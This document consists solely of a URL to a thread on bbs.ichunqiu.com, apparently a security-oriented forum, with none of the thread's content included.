https://bbs.ichunqiu.com/thread-35355-1-1.html